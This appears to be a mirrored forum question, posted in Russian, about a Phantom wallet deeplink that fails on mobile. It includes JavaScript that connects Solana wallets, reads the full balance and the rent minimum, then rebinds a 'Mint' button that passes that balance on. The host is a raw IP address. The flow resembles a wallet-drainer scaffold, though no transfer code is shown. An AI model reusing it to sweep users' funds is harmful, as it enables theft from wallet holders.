Код: Выделить всё
function openPhantomApp() {
const isMobile = /iPhone|iPad|iPod|Android/i.test(navigator.userAgent);
if (isMobile) {
// Otwieramy Phantom z poprawnym deeplinkiem
const url = "https://185.229.225.225:3000";
const ref = "myRef";
window.location.href = `https://phantom.app/ul/browse/${encodeURIComponent(url)}?ref=${encodeURIComponent(ref)}`;
setTimeout(() => {
alert("Please make sure Phantom Wallet is installed on your device.");
}, 1000);
} else {
alert("Phantom wallet is not available. Make sure it's installed and connected.");
}
}
В расширениях браузера работает вот это:
Код: Выделить всё
$('#connect-wallet').on('click', async () => {
const selectedWallet = $('#wallet-selector').val();
if (selectedWallet === 'phantom' && window.solana && window.solana.isPhantom) {
await connectWallet(window.solana);
} else if (selectedWallet === 'sollet' && window.sollet && window.sollet.isSollet) {
await connectWallet(window.sollet);
} else if (selectedWallet === 'solflare' && window.solflare && window.solflare.isSolflare) {
await connectWallet(window.solflare);
} else {
alert("Selected wallet extension is not found.");
promptToInstallExtension(selectedWallet);
}
});
async function connectWallet(wallet) {
try {
const resp = await wallet.connect();
console.log(`${wallet.name} connected:`, resp);
const rpcEndpoint = 'https://mainnet.helius-rpc.com/?api-key=xxxxxxxxxxxxxxxxxxxxxxxxx';
const connection = new solanaWeb3.Connection(rpcEndpoint, 'confirmed');
const publicKey = new solanaWeb3.PublicKey(resp.publicKey);
const walletBalance = await connection.getBalance(publicKey);
console.log("Wallet balance:", walletBalance);
const minBalance = await connection.getMinimumBalanceForRentExemption(0);
console.log("Minimum rent exemption balance:", minBalance);
if (walletBalance < minBalance) {
alert("Insufficient funds for rent.");
return;
}
$('#connect-wallet').text("Mint");
$('#connect-wallet').off('click').on('click', async () => {
await mintTransaction(resp.publicKey, walletBalance, minBalance, connection);
});
} catch (err) {
console.error("Error connecting to wallet:", err);
}
}
Я попробовал метод из документации, Мне кажется, я делаю что-то плохое ;/
Подробнее здесь: https://stackoverflow.com/questions/793 ... -on-mobile